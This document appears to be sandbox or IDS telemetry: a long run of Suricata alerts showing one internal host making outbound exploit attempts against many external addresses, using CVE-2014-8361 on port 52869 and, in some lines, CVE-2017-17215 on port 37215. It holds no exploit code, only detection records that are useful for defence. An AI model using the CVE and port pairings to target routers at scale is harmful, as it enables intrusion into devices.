Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:58224 -> 41.112.88.62:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:53826 -> 41.235.204.50:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:34282 -> 197.134.141.89:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:42970 -> 197.154.113.7:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:52172 -> 197.187.148.5:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:58752 -> 197.234.86.51:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:56402 -> 197.6.109.116:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:49562 -> 41.234.89.110:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:38818 -> 156.84.165.127:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:57202 -> 41.58.98.139:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:46622 -> 41.12.24.214:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:55480 -> 41.62.87.17:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:43846 -> 41.204.35.35:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:38612 -> 156.68.10.31:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:34280 -> 156.221.88.95:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:34074 -> 41.158.164.235:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:38544 -> 41.143.131.148:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:52414 -> 156.126.201.30:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:60116 -> 156.60.77.201:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:44342 -> 197.204.210.92:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:33164 -> 156.176.109.241:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:48304 -> 156.177.105.164:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:34754 -> 41.75.91.211:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:55008 -> 41.103.171.158:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:53838 -> 156.126.108.229:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:34974 -> 41.3.67.111:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:33600 -> 197.196.151.76:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:60342 -> 197.210.235.225:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:35560 -> 156.153.31.211:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:37304 -> 156.7.32.243:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:46940 -> 41.173.239.3:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:52692 -> 41.213.210.151:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:49708 -> 41.113.209.149:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:40958 -> 156.24.232.63:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:37084 -> 197.0.221.126:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:44530 -> 41.224.160.17:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:32926 -> 197.165.80.36:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:59268 -> 41.249.250.199:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:43376 -> 41.132.4.91:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:34384 -> 197.166.133.40:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:54752 -> 197.235.72.82:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:49074 -> 41.32.1.54:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:38080 -> 156.247.8.164:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:38914 -> 41.226.108.98:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:44274 -> 41.112.8.149:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:44076 -> 41.27.240.251:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:48988 -> 156.200.50.134:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:40696 -> 197.41.7.81:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:40782 -> 156.26.183.171:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:50830 -> 41.118.143.123:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:57888 -> 156.153.187.128:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:42264 -> 197.71.16.225:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:34966 -> 41.176.70.123:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:55604 -> 156.3.59.57:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:45460 -> 197.234.189.26:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:58632 -> 156.116.38.126:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:34130 -> 41.68.59.102:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:47580 -> 197.27.45.137:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:56384 -> 156.60.218.76:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:52972 -> 41.114.132.173:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:56578 -> 41.213.159.162:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:54052 -> 156.111.149.43:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:54180 -> 156.14.166.148:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:39266 -> 197.200.82.255:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:58686 -> 156.111.94.78:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:47710 -> 156.185.197.139:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:38038 -> 41.157.118.132:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:33978 -> 197.108.237.10:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:52572 -> 156.128.201.121:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:59554 -> 156.164.46.178:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:49736 -> 197.124.253.46:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:45688 -> 41.20.5.32:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:32880 -> 156.132.182.168:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:55760 -> 156.216.73.85:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:44306 -> 156.228.87.137:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:35688 -> 41.59.9.50:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:49186 -> 156.21.255.104:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:40590 -> 197.122.89.72:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:58600 -> 156.193.228.206:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:39260 -> 41.197.121.30:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:60028 -> 156.190.229.165:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:46090 -> 41.157.188.154:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:33762 -> 41.212.217.7:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:34484 -> 156.135.169.222:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:38234 -> 197.124.222.8:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:54288 -> 197.15.237.129:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:44870 -> 41.7.92.113:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:40886 -> 41.63.69.237:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:34316 -> 197.1.165.228:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:52134 -> 156.176.75.253:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:59606 -> 41.145.187.204:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:49440 -> 156.174.157.85:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:42902 -> 197.15.243.190:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:44026 -> 156.90.14.178:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:49862 -> 197.190.67.104:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:37580 -> 41.227.173.44:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:39742 -> 41.178.234.148:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:38236 -> 197.91.36.209:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:39680 -> 41.5.250.21:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:54170 -> 197.180.31.248:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:34468 -> 41.80.234.169:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:38320 -> 41.195.190.217:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:45352 -> 41.9.88.176:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:57296 -> 197.111.171.224:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:55950 -> 197.14.235.192:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:41944 -> 197.26.248.151:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:43838 -> 41.138.117.0:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:59984 -> 197.50.27.9:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:43760 -> 197.70.28.251:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:52118 -> 156.224.140.127:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:40204 -> 197.74.206.218:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:53130 -> 41.182.18.126:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:59224 -> 156.164.243.201:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:47856 -> 197.120.239.203:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:40494 -> 197.218.212.186:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:56796 -> 41.118.134.52:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:53024 -> 41.220.27.180:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:47380 -> 41.161.123.139:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:48780 -> 156.68.255.15:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:60116 -> 156.201.174.201:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:33150 -> 197.200.95.32:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:60016 -> 156.35.83.107:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:57624 -> 156.103.77.149:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:56062 -> 156.203.62.213:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:52242 -> 156.211.214.149:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:32866 -> 197.2.151.238:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:47826 -> 41.196.83.209:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:54864 -> 41.216.72.26:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:45410 -> 197.73.140.11:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:58390 -> 156.171.14.182:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:57232 -> 197.84.193.24:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:50984 -> 41.243.68.91:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:58250 -> 197.47.171.53:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:40970 -> 197.186.199.150:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:48508 -> 197.135.22.7:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:48442 -> 41.120.201.218:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:41254 -> 197.142.242.51:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:57986 -> 156.224.51.251:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:39630 -> 41.212.69.174:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:37914 -> 41.193.137.127:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:53994 -> 41.84.110.186:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:45770 -> 197.237.49.7:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:58466 -> 41.122.19.248:37215
